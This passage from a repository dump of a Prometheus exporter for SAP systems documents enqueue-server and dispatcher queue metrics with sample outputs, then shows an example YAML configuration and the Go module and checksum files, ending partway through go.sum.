sap_enqueue_server_dequeue_all_requests counter 180 | sap_enqueue_server_dequeue_all_requests 150372 181 | ``` 182 | 183 | ### `sap_enqueue_server_dequeue_errors` 184 | 185 | Lock release errors. 186 | 187 | #### Example 188 | 189 | ``` 190 | # TYPE sap_enqueue_server_dequeue_errors counter 191 | sap_enqueue_server_dequeue_errors 0 192 | ``` 193 | 194 | ### `sap_enqueue_server_dequeue_requests` 195 | 196 | Lock release requests. 197 | 198 | #### Example 199 | 200 | ``` 201 | # TYPE sap_enqueue_server_dequeue_requests counter 202 | sap_enqueue_server_dequeue_requests 85213 203 | ``` 204 | 205 | ### `sap_enqueue_server_enqueue_errors` 206 | 207 | Lock acquisition errors 208 | 209 | #### Example 210 | 211 | ``` 212 | # TYPE sap_enqueue_server_enqueue_errors counter 213 | sap_enqueue_server_enqueue_errors 0 214 | ``` 215 | 216 | ### `sap_enqueue_server_enqueue_rejects` 217 | 218 | Rejected lock requests. 219 | 220 | #### Example 221 | 222 | ``` 223 | # TYPE sap_enqueue_server_enqueue_rejects counter 224 | sap_enqueue_server_enqueue_rejects 4 225 | ``` 226 | 227 | ### `sap_enqueue_server_enqueue_requests` 228 | 229 | Lock acquisition requests. 230 | 231 | #### Example 232 | 233 | ``` 234 | # TYPE sap_enqueue_server_enqueue_requests counter 235 | sap_enqueue_server_enqueue_requests 109408 236 | ``` 237 | 238 | ### `sap_enqueue_server_lock_time` 239 | 240 | Total time spent in lock operations. 241 | 242 | #### Example 243 | 244 | ``` 245 | # TYPE sap_enqueue_server_lock_time counter 246 | sap_enqueue_server_lock_time 174.574351 247 | ``` 248 | 249 | ### `sap_enqueue_server_lock_wait_time` 250 | 251 | Total waiting time of all work processes for accessing lock table. 252 | 253 | #### Example 254 | 255 | ``` 256 | # TYPE sap_enqueue_server_lock_wait_time counter 257 | sap_enqueue_server_lock_wait_time 0 258 | ``` 259 | 260 | ### `sap_enqueue_server_locks_high` 261 | 262 | Peak number of elementary locks that have been stored simultaneously in the lock table. 263 | 264 | #### Example 265 | 266 | ``` 267 | # TYPE sap_enqueue_server_locks_high counter 268 | sap_enqueue_server_locks_high 104 269 | ``` 270 | 271 | ### `sap_enqueue_server_locks_max` 272 | 273 | Maximum number of elementary locks that can be stored in the lock table. 274 | 275 | #### Example 276 | 277 | ``` 278 | # TYPE sap_enqueue_server_locks_max gauge 279 | sap_enqueue_server_locks_max 56415 280 | ``` 281 | 282 | ### `sap_enqueue_server_locks_now` 283 | 284 | Current number of elementary locks in the lock table. 285 | 286 | #### Example 287 | 288 | ``` 289 | # TYPE sap_enqueue_server_locks_now gauge 290 | sap_enqueue_server_locks_now 0 291 | ``` 292 | 293 | ### `sap_enqueue_server_locks_state` 294 | 295 | General state of elementary locks. 296 | 297 | Refer to the [appendix](#sap-state-colors) to know more about the possible values of this metric. 298 | 299 | #### Example 300 | 301 | ``` 302 | # TYPE sap_enqueue_server_locks_state gauge 303 | sap_enqueue_server_locks_state 2 304 | ``` 305 | 306 | ### `sap_enqueue_server_owner_high` 307 | 308 | Peak number of lock owners that have been stored simultaneously in the lock table. 309 | 310 | #### Example 311 | 312 | ``` 313 | # TYPE sap_enqueue_server_owner_high counter 314 | sap_enqueue_server_owner_high 5 315 | ``` 316 | 317 | ### `sap_enqueue_server_owner_max` 318 | 319 | Maximum number of lock owner IDs that can be stored in the lock table. 320 | 321 | #### Example 322 | 323 | ``` 324 | # TYPE sap_enqueue_server_owner_max gauge 325 | sap_enqueue_server_owner_max 56415 326 | ``` 327 | 328 | ### `sap_enqueue_server_owner_now` 329 | 330 | Current number of lock owners in the lock table. 331 | 332 | #### Example 333 | 334 | ``` 335 | # TYPE sap_enqueue_server_owner_now gauge 336 | sap_enqueue_server_owner_now 0 337 | ``` 338 | 339 | ### `sap_enqueue_server_owner_state` 340 | 341 | General state of lock owners. 342 | 343 | Refer to the [appendix](#sap-state-colors) to know more about the possible values of this metric. 344 | 345 | #### Example 346 | 347 | ``` 348 | # TYPE sap_enqueue_server_owner_state gauge 349 | sap_enqueue_server_owner_state 2 350 | ``` 351 | 352 | ### `sap_enqueue_server_replication_state` 353 | 354 | General state of lock server replication. 355 | 356 | Refer to the [appendix](#sap-state-colors) to know more about the possible values of this metric. 357 | 358 | #### Example 359 | 360 | ``` 361 | # TYPE sap_enqueue_server_replication_state gauge 362 | sap_enqueue_server_replication_state 2 363 | ``` 364 | 365 | ### `sap_enqueue_server_reporting_requests` 366 | 367 | Number of reading operations on the lock table. 368 | 369 | #### Example 370 | 371 | ``` 372 | # TYPE sap_enqueue_server_reporting_requests counter 373 | sap_enqueue_server_reporting_requests 0 374 | ``` 375 | 376 | ### `sap_enqueue_server_server_time` 377 | 378 | Total time spent in lock operations by all processes in the enqueue server 379 | 380 | #### Example 381 | 382 | ``` 383 | # TYPE sap_enqueue_server_server_time counter 384 | sap_enqueue_server_server_time 0 385 | ``` 386 | 387 | 388 | ## SAP AS Dispatcher 389 | 390 | The Application Server Dispatcher is the component that manages the Work Process queues. We collect a set of queue stats for each type of Work Process queue. 391 | 392 | 1. [`sap_dispatcher_queue_now`](#sap_dispatcher_queue_now) 393 | 2. [`sap_dispatcher_queue_high`](#sap_dispatcher_queue_high) 394 | 3. [`sap_dispatcher_queue_max`](#sap_dispatcher_queue_max) 395 | 4. [`sap_dispatcher_queue_writes`](#sap_dispatcher_queue_writes) 396 | 5. [`sap_dispatcher_queue_reads`](#sap_dispatcher_queue_reads) 397 | 398 | ### `sap_dispatcher_queue_now` 399 | 400 | Work process current queue length 401 | 402 | #### Labels 403 | 404 | - `type`: the type of the work queue. 405 | 406 | #### Example 407 | 408 | ``` 409 | # TYPE sap_dispatcher_queue_now gauge 410 | sap_dispatcher_queue_now{type="ABAP/BTC"} 0 411 | sap_dispatcher_queue_now{type="ABAP/DIA"} 0 412 | sap_dispatcher_queue_now{type="ABAP/ENQ"} 0 413 | sap_dispatcher_queue_now{type="ABAP/NOWP"} 0 414 | sap_dispatcher_queue_now{type="ABAP/SPO"} 0 415 | sap_dispatcher_queue_now{type="ABAP/UP2"} 0 416 | sap_dispatcher_queue_now{type="ABAP/UPD"} 0 417 | sap_dispatcher_queue_now{type="ICM/Intern"} 0 418 | ``` 419 | 420 | ### `sap_dispatcher_queue_high` 421 | 422 | Work process highest queue length 423 | 424 | #### Labels 425 | 426 | - `type`: the type of the work queue. 427 | 428 | #### Example 429 | 430 | ``` 431 | # TYPE sap_dispatcher_queue_high counter 432 | sap_dispatcher_queue_high{type="ABAP/BTC"} 2 433 | sap_dispatcher_queue_high{type="ABAP/DIA"} 5 434 | sap_dispatcher_queue_high{type="ABAP/ENQ"} 0 435 | sap_dispatcher_queue_high{type="ABAP/NOWP"} 3 436 | sap_dispatcher_queue_high{type="ABAP/SPO"} 1 437 | sap_dispatcher_queue_high{type="ABAP/UP2"} 1 438 | sap_dispatcher_queue_high{type="ABAP/UPD"} 2 439 | sap_dispatcher_queue_high{type="ICM/Intern"} 1 440 | ``` 441 | 442 | ### `sap_dispatcher_queue_max` 443 | 444 | Work process maximum queue length 445 | 446 | #### Labels 447 | 448 | - `type`: the type of the work queue. 449 | 450 | #### Example 451 | 452 | ``` 453 | # TYPE sap_dispatcher_queue_max gauge 454 | sap_dispatcher_queue_max{type="ABAP/BTC"} 14000 455 | sap_dispatcher_queue_max{type="ABAP/DIA"} 14000 456 | sap_dispatcher_queue_max{type="ABAP/ENQ"} 14000 457 | sap_dispatcher_queue_max{type="ABAP/NOWP"} 14000 458 | sap_dispatcher_queue_max{type="ABAP/SPO"} 14000 459 | sap_dispatcher_queue_max{type="ABAP/UP2"} 14000 460 | sap_dispatcher_queue_max{type="ABAP/UPD"} 14000 461 | sap_dispatcher_queue_max{type="ICM/Intern"} 6000 462 | ``` 463 | 464 | ### `sap_dispatcher_queue_writes` 465 | 466 | Work process queue writes 467 | 468 | #### Labels 469 | 470 | - `type`: the type of the work queue. 471 | 472 | #### Example 473 | 474 | ``` 475 | # TYPE sap_dispatcher_queue_writes counter 476 | sap_dispatcher_queue_writes{type="ABAP/BTC"} 11229 477 | sap_dispatcher_queue_writes{type="ABAP/DIA"} 479801 478 | sap_dispatcher_queue_writes{type="ABAP/ENQ"} 0 479 | sap_dispatcher_queue_writes{type="ABAP/NOWP"} 267333 480 | sap_dispatcher_queue_writes{type="ABAP/SPO"} 41171 481 | sap_dispatcher_queue_writes{type="ABAP/UP2"} 3743 482 | sap_dispatcher_queue_writes{type="ABAP/UPD"} 3746 483 | sap_dispatcher_queue_writes{type="ICM/Intern"} 37426 484 | ``` 485 | 486 | ### `sap_dispatcher_queue_reads` 487 | 488 | Work process queue reads. 489 | 490 | #### Labels 491 | 492 | - `type`: the type of the work queue. 493 | 494 | #### Example 495 | 496 | ``` 497 | # TYPE sap_dispatcher_queue_reads counter 498 | sap_dispatcher_queue_reads{type="ABAP/BTC"} 11229 499 | sap_dispatcher_queue_reads{type="ABAP/DIA"} 479801 500 | sap_dispatcher_queue_reads{type="ABAP/ENQ"} 0 501 | sap_dispatcher_queue_reads{type="ABAP/NOWP"} 267333 502 | sap_dispatcher_queue_reads{type="ABAP/SPO"} 41171 503 | sap_dispatcher_queue_reads{type="ABAP/UP2"} 3743 504 | sap_dispatcher_queue_reads{type="ABAP/UPD"} 3746 505 | sap_dispatcher_queue_reads{type="ICM/Intern"} 37426 506 | ``` 507 | 508 | 509 | ## Appendix 510 | 511 | ### SAP State colors 512 | 513 | The value of `*_state` metrics is an integer status code that maps to the conventional SAP color-coded names as follows: 514 | - `1`: `GRAY`. 515 | - `2`: `GREEN`. 516 | - `3`: `YELLOW`. 517 | - `4`: `RED`. 518 | 519 | ### Common labels 520 | 521 | The following labels are shared among all the metrics. 522 | 523 | - `SID`: the SAP System ID. 524 | - `instance_name`: the SAP instance name. 525 | - `instance_hostname`: the SAP instance virtual hostname. Note, this may differ from the actual hostname of the instance host. 526 | - `instance_number`: the SAP instance number, 527 | -------------------------------------------------------------------------------- /doc/sap_host_exporter.yaml: -------------------------------------------------------------------------------- 1 | ## Example configuration ## 2 | # The values displayed below are the defaults, used in case no configuration is provided. 3 | 4 | # The listening TCP/IP address and port. 5 | address: "0.0.0.0" 6 | port: "9680" 7 | 8 | # The log level. 9 | # 10 | # Possible values, from less to most verbose: error, warn, info, debug. 11 | log-level: "info" 12 | 13 | # The url of the SAPControl web service. 14 | # 15 | # Per SAP conventions, the port should usually be 513 for HTTP and 514 for HTTPS. 16 | # More info at https://www.sap.com/documents/2016/09/0a40e60d-8b7c-0010-82c7-eda71af511fa.html 17 | # 18 | # The default value will try to connect locally to instance number 00, without TLS. 19 | sap-control-url: "localhost:50013" 20 | 21 | # HTTP Basic Authentication credentials for the SAPControl web service, e.g. adm user and password. 22 | # 23 | # These are empty by default, which will cause the exporter to gracefully fail at collecting most metrics. 24 | # Make sure this file's permissions are set to 600. 25 | # 26 | # It is strongly suggested to use the TLS endpoint when using this authentication scheme. 27 | sap-control-user: "" 28 | sap-control-password: "" 29 | 30 | # The path to a Unix Domain Socket to access SAPControl locally. 31 | # 32 | # This is usually /tmp/.sapstream513 33 | # 34 | # If this is specified, sap-control-url setting will be ignored. 35 | # UDS connection doesn't require authentication 36 | sap-control-uds: "" 37 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/writhingretr/sap_host_exporter 2 | 3 | go 1.23 4 | 5 | toolchain go1.23.0 6 | 7 | require ( 8 | github.com/golang/mock v1.6.0 9 | github.com/hooklift/gowsdl v0.5.0 10 | github.com/pkg/errors v0.9.1 11 | github.com/prometheus/client_golang v1.20.5 12 | github.com/sirupsen/logrus v1.9.3 13 | github.com/spf13/pflag v1.0.5 14 | github.com/spf13/viper v1.19.0 15 | github.com/stretchr/testify v1.10.0 16 | ) 17 | 18 | require ( 19 | github.com/beorn7/perks v1.0.1 // indirect 20 | github.com/cespare/xxhash/v2 v2.3.0 // indirect 21 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect 22 | github.com/fsnotify/fsnotify v1.7.0 // indirect 23 | github.com/hashicorp/hcl v1.0.0 // indirect 24 | github.com/klauspost/compress v1.17.9 // indirect 25 | github.com/kylelemons/godebug v1.1.0 // indirect 26 | github.com/magiconair/properties v1.8.7 // indirect 27 | github.com/mitchellh/mapstructure v1.5.0 // indirect 28 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 29 | github.com/pelletier/go-toml/v2 v2.2.2 // indirect 30 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect 31 | github.com/prometheus/client_model v0.6.1 // indirect 32 | github.com/prometheus/common v0.55.0 // indirect 33 | github.com/prometheus/procfs v0.15.1 // indirect 34 | github.com/sagikazarmark/locafero v0.4.0 // indirect 35 | github.com/sagikazarmark/slog-shim v0.1.0 // indirect 36 | github.com/sourcegraph/conc v0.3.0 // indirect 37 | github.com/spf13/afero v1.11.0 // indirect 38 | github.com/spf13/cast v1.6.0 // indirect 39 | github.com/subosito/gotenv v1.6.0 // indirect 40 | go.uber.org/atomic v1.9.0 // indirect 41 | go.uber.org/multierr v1.9.0 // indirect 42 | golang.org/x/exp v0.0.0-20230905200255-921286631fa9 // indirect 43 | golang.org/x/sys v0.22.0 // indirect 44 | golang.org/x/text v0.16.0 // indirect 45 | google.golang.org/protobuf v1.34.2 // indirect 46 | gopkg.in/ini.v1 v1.67.0 // indirect 47 | gopkg.in/yaml.v3 v3.0.1 // indirect 48 | ) 49 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= 2 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= 3 | github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= 4 | github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= 5 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= 8 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= 10 | github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= 11 | github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= 12 | github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= 13 | github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc= 14 | github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= 15 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 16 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 17 | github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= 18 | github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= 19 | github.com/hooklift/gowsdl v0.5.0 h1:DE8RevqhGPLchumV/V7OwbCzfJ8lcozFg1uWC/ESCBQ= 20 | github.com/hooklift/gowsdl v0.5.0/go.mod h1:9kRc402w9Ci/Mek5a1DNgTmU14yPY8fMumxNVvxhis4= 21 | github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= 22 | github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= 23 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 24 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 25 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 26 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 27 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= 28 | github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= 29 | github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= 30 | github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= 31 | github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= 32 | github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= 33 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= 34 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= 35 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= 36 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= 37 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 38 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 39 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 40 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= 41 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 42 | github.com/prometheus/client_golang v1.20.5 h1:cxppBPuYhUnsO6yo/aoRol4L7q7UFfdm+bR9r+8l63Y= 43 | github.com/prometheus/client_golang v1.20.5/go.mod h1:PIEt8X02hGcP8JWbeHyeZ53Y/jReSnHgO035n//V5WE= 44 | github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E= 45 | github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY= 46 | github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc= 47 | github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8= 48 | github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc= 49 | github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk= 50 | github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= 51 | github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= 52 | github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= 53 | github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= 54 | github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= 55 | github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= 56 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 57 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 58 | github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= 59 | github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= 60 | github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= 61 | github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= 62 | github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= 63 | github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= 64 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 65 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 66 | github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI= 67 | github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg= 68 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 69 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 70 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 71 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 72 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 73 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 74 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 75 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 76 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 77 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 78 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 79 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 80 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 81 | github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= 82 | github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= 83 | github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= 84 | go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE= 85 | go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= 86 | go.uber.org/multierr v1.9.0 h1:7fIwc/ZtS0q++VgcfqFDxSBZVv/Xo49/SYnDFupUwlI= 87 | go.uber.org/multierr v1.9.0/go.mod h1:X2jQV1h+kxSjClGpnseKVIxpmcjrj7MNnI0bnlfKTVQ= 88 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 89 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 90 | golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g= 91 | golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k= 92 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 93 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 94 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 95 | golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= 96 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 97 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 98 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 99 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 100 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 101 | golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 102 | golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 103 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 104 | golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= 105 | golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 106 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 107 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 108 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 109 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= 110 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= 111 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 112 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod 